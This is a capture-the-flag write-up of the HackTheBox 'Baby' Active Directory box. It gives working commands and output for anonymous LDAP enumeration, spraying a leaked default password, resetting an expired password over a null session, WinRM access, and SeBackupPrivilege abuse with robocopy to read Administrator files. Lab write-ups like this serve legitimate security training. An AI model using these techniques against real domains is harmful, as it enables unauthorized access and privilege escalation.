HackTheBox: Baby Writeup

Summary
Baby is an Easy Windows AD box (baby.vl, DC: BABYDC). Null LDAP bind enumerates the full domain user list, including a description field that leaks a default password (BabyStart123!) for newly created accounts. Spraying that password identifies Caroline.Robinson as flagged STATUS_PASSWORD_MUST_CHANGE. Using impacket-changepasswd to set a new password (falling back to a null-session bind) grants valid creds, which work over SMB, LDAP, and WinRM for an initial shell. The user holds SeBackupPrivilege, which is abused via robocopy /b to copy root.txt out of the Administrator's Desktop without needing SYSTEM, bypassing normal file ACLs.
Initial access: LDAP null bind → user enumeration → leaked default password → password spray → expired-password reset via null session → WinRM
Privilege escalation:
SeBackupPrivilegeabuse (robocopy /b) to readroot.txtdirectly
Walkthrough
1. Recon
nmap -A -Pn 10.129.21.140 -oA nmap
Key findings: a Windows Server 2022 Domain Controller (BABYDC, domain baby.vl), with the usual AD ports open — 53, 88, 135, 139, 389/636/3268/3269 (LDAP/LDAPS/GC), 445, 464, 593, 3389, 5985 (WinRM). SMB signing is required, LDAP signing/channel binding is not enforced.
Added the hostname to /etc/hosts:
echo '10.129.21.140 baby.vl BABYDC.baby.vl babydc.baby.vl' >> /etc/hosts
2. Null session enumeration
LDAP and SMB both accept an unauthenticated (null) bind:
nxc ldap 10.129.21.140 -u '' -p ''
nxc smb 10.129.21.140 -u '' -p ''
SMB share listing and RID brute force fail with STATUS_ACCESS_DENIED for the null session, but LDAP allows full enumeration. Pulled groups and users:
nxc ldap 10.129.21.140 -u '' -p '' --groups
nxc ldap 10.129.21.140 -u '' -p '' --users
Two OUs of interest: dev and IT. Critically, the --users output includes a description field on Teresa.Bell:
Teresa.Bell 2026-06-24 ... 0 Set initial password to BabyStart123!
This is a common Easy-box pattern: an admin note describing the default password handed out to new hires, left visible to anyone who can read LDAP — including unauthenticated.
A raw LDAP query against (objectClass=*) for distinguishedName was also useful later for mapping the full OU structure (dev and it) once the initial --users enumeration turned out to be incomplete — see Step 3.
3. Building the user list and password spraying
nxc ldap 10.129.21.140 -u '' -p '' --users 2>/dev/null | \
grep -oE '(Guest|[A-Za-z]+\.[A-Za-z]+)' > users.txt
sed -i '/^baby\.vl$/d' users.txt
This gave 9 users: Guest, Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell. Sprayed the leaked default password against this list:
nxc ldap 10.129.21.140 -u users.txt -p 'BabyStart123!'
[-] baby.vl\Guest:BabyStart123!
[-] baby.vl\Jacqueline.Barnett:BabyStart123!
[-] baby.vl\Ashley.Webb:BabyStart123!
[-] baby.vl\Hugh.George:BabyStart123!
[-] baby.vl\Leonard.Dyer:BabyStart123!
[-] baby.vl\Connor.Wilkinson:BabyStart123!
[-] baby.vl\Joseph.Hughes:BabyStart123!
[-] baby.vl\Kerry.Wilson:BabyStart123!
[-] baby.vl\Teresa.Bell:BabyStart123!
Every single account rejected the password - including Teresa.Bell, the account the password was actually leaked from. That's the giveaway: a password we know is genuine failing against the very account it was leaked for means the account list itself is incomplete, not that the password is wrong. --users parses a specific LDAP attribute view (the user-summary listing), and it clearly hadn't returned the full user population. This pointed to missing accounts rather than a dead-end password.
To get the real picture of the domain, I went back to a raw LDAP query instead of relying on nxc's summarized --users view:
nxc ldap 10.129.21.140 -u '' -p '' --query '(objectClass=*)' distinguishedName
Querying objectClass=* walks every object in the directory rather than just the subset --users filters for, and it surfaced two accounts that never appeared in the --users output: CN=Ian Walker,OU=dev and CN=Caroline Robinson,OU=it. Added both to users.txt:
Ian.Walker
Caroline.Robinson
Re-ran the spray with the corrected list:
nxc ldap 10.129.21.140 -u users.txt -p 'BabyStart123!'
[-] baby.vl\Ian.Walker:BabyStart123!
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
Caroline.Robinson now returns STATUS_PASSWORD_MUST_CHANGE instead of a flat auth failure - meaning the password is correct, but the account requires a reset before authenticating. Every other account had presumably already changed off the default.
4. Resetting the expired password
A direct SMB/LDAP login with the correct-but-expired password fails (STATUS_PASSWORD_MUST_CHANGE). impacket-changepasswd handles this by detecting the expired state and re-binding as a null session to perform the actual change:
impacket-changepasswd 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.21.140' -newpass 'Pass123!'
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
This works because Active Directory permits a user to change (not reset) their own expired password without a fully authenticated bind, via SAMR - Impacket automates the null-session fallback for exactly this case.
5. Validating creds and shell access
nxc smb 10.129.21.140 -u Caroline.Robinson -p 'Pass123!'
nxc ldap 10.129.21.140 -u Caroline.Robinson -p 'Pass123!' # (Pwn3d!)
nxc winrm 10.129.21.140 -u Caroline.Robinson -p 'Pass123!' # (Pwn3d!)
Caroline.Robinson has WinRM access (member of BABY\it, which grants Remote Management Users). Connected directly:
evil-winrm -i 10.129.21.140 -u Caroline.Robinson -p 'Pass123!'
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> type user.txt
HTB{REDACTED}
6. Privilege escalation via SeBackupPrivilege
whoami /priv
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeBackupPrivilege lets the holder read any file on disk regardless of DACL, by opening it under the backup semantics (FILE_FLAG_BACKUP_SEMANTICS). robocopy natively supports this via the /B (backup mode) flag, so it can be used as a quick, no-extra-tooling way to lift files out of the Administrator's profile:
robocopy /b C:\Users\Administrator\Desktop C:\temp root.txt
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Wednesday, June 24, 2026 4:36:26 AM
Source : C:\Users\Administrator\Desktop\
Dest : C:\temp\
Files : root.txt
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 C:\Users\Administrator\Desktop\
New File 34 root.txt
0%
100%
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 34 34 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Ended : Wednesday, June 24, 2026 4:36:26 AM
dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/24/2026 3:09 AM 34 root.txt
type C:\temp\root.txt
HTB{REDACTED}
This is the same primitive abused by diskshadow/wbadmin SAM+SYSTEM dumps for full DC compromise, since we know where the flag is, direct file copy off root.txt is sufficient - no need to extract NTDS.dit or shadow-copy the volume.
Attack Chain
Unauthenticated LDAP bind
│
▼
LDAP user enumeration (--users) → description field leaks
"BabyStart123!" default password
│
▼
Password spray across all users
│
▼
Caroline.Robinson → STATUS_PASSWORD_MUST_CHANGE (valid creds, expired)
│
▼
impacket-changepasswd (null-session fallback) → new password set
│
▼
WinRM login as Caroline.Robinson → user.txt
│
▼
SeBackupPrivilege present → robocopy /b bypasses ACLs
│
▼
Copy Administrator's root.txt → SYSTEM-level file read, no shell upgrade needed
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Anonymous/null LDAP bind enabled | LDAP (389) | Full unauthenticated user/group enumeration |
| 2 | Credential leak in account description field | AD user attribute (description) |
Default password disclosed to any unauthenticated reader |
| 3 | Default password reused, account left in "must change" state | Caroline.Robinson |
Allows password reset via null-session SAMR bind, no prior auth needed |
| 4 | Excessive privilege assignment (SeBackupPrivilege) |
Local security policy / it group |
Arbitrary file read bypassing NTFS ACLs → root flag without SYSTEM shell |
Author: exploitnotes




